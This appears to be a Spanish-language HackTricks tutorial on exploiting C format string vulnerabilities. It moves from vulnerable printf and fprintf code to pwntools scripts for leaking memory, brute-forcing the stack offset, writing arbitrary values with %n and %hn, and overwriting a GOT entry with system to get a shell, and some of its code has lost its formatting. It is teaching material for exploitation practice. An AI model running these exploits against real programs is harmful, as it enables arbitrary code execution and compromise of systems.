Format Strings

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Información Básica

En C printf es una función que se puede utilizar para imprimir una cadena. El primer parámetro que esta función espera es el texto sin formato con los formateadores. Los parámetros siguientes esperados son los valores para sustituir los formateadores del texto sin formato.

Otras funciones vulnerables son sprintf() y fprintf().

La vulnerabilidad aparece cuando un texto del atacante se utiliza como el primer argumento de esta función. El atacante podrá crear una entrada especial abusando de las capacidades de las cadenas de formato printf para leer y escribir cualquier dato en cualquier dirección (legible/inscriptible). De esta manera, puede ejecutar código arbitrario.

Formateadores:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Ejemplos:

  • Ejemplo vulnerable:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso Normal:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con Argumentos Faltantes:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • Vulnerabilidad de fprintf:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Accediendo a Punteros

El formato %<n>$x, donde n es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Por lo tanto, si deseas leer el cuarto parámetro de la pila usando printf, podrías hacer lo siguiente:

printf("%x %x %x %x")

y leerías desde el primer hasta el cuarto parámetro.

O podrías hacer:

printf("$4%x")

y lee directamente el cuarto.

Ten en cuenta que el atacante controla el parámetro printf, lo que básicamente significa que su entrada estará en la pila cuando se llame a printf, lo que significa que podría escribir direcciones de memoria específicas en la pila.

Un atacante que controle esta entrada, podrá agregar direcciones arbitrarias en la pila y hacer que printf las acceda. En la siguiente sección se explicará cómo utilizar este comportamiento.

Lectura Arbitraria

Es posible utilizar el formateador %n$s para hacer que printf obtenga la dirección situada en la posición n, siguiéndola e imprimiéndola como si fuera una cadena (imprimir hasta encontrar un 0x00). Entonces, si la dirección base del binario es 0x8048000, y sabemos que la entrada del usuario comienza en la cuarta posición en la pila, es posible imprimir el inicio del binario con:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se concatenará con 0x00 al final de esa dirección.

Encontrar el desplazamiento

Para encontrar el desplazamiento de tu entrada, podrías enviar 4 u 8 bytes (0x41414141) seguidos de %1$x y aumentar el valor hasta recuperar las A's.

Fuerza bruta para encontrar el desplazamiento de printf

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Qué tan útil es

Las lecturas arbitrarias pueden ser útiles para:

- **Volcar** el **binario** de la memoria
- **Acceder a partes específicas de la memoria donde se almacena información sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [desafío de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## Escritura Arbitraria

El formateador **`$<num>%n`** escribe la **cantidad de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria.

Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A" a la entrada, para hacerlo es posible utilizar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Sin embargo, ten en cuenta que generalmente para escribir una dirección como 0x08049724 (que es un número ENORME para escribir de una vez), se usa $hn en lugar de $n. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.

Por lo tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (escritura arbitraria).

En este ejemplo, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:

Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system. Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: primero escribe 2Bytes de la dirección y luego los otros 2. Para hacerlo se usa $hn.

  • HOB se refiere a los 2 bytes más altos de la dirección

  • LOB se refiere a los 2 bytes más bajos de la dirección

Luego, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.

Si HOB < LOB [dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB [dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Plantilla de Pwntools

Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:

O este ejemplo básico de aquí:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Formato de cadenas para desbordamiento de búfer

Es posible abusar de las acciones de escritura de una vulnerabilidad de formato de cadena para escribir en direcciones de la pila y explotar un tipo de vulnerabilidad de desbordamiento de búfer.

Otros Ejemplos y Referencias

Última actualización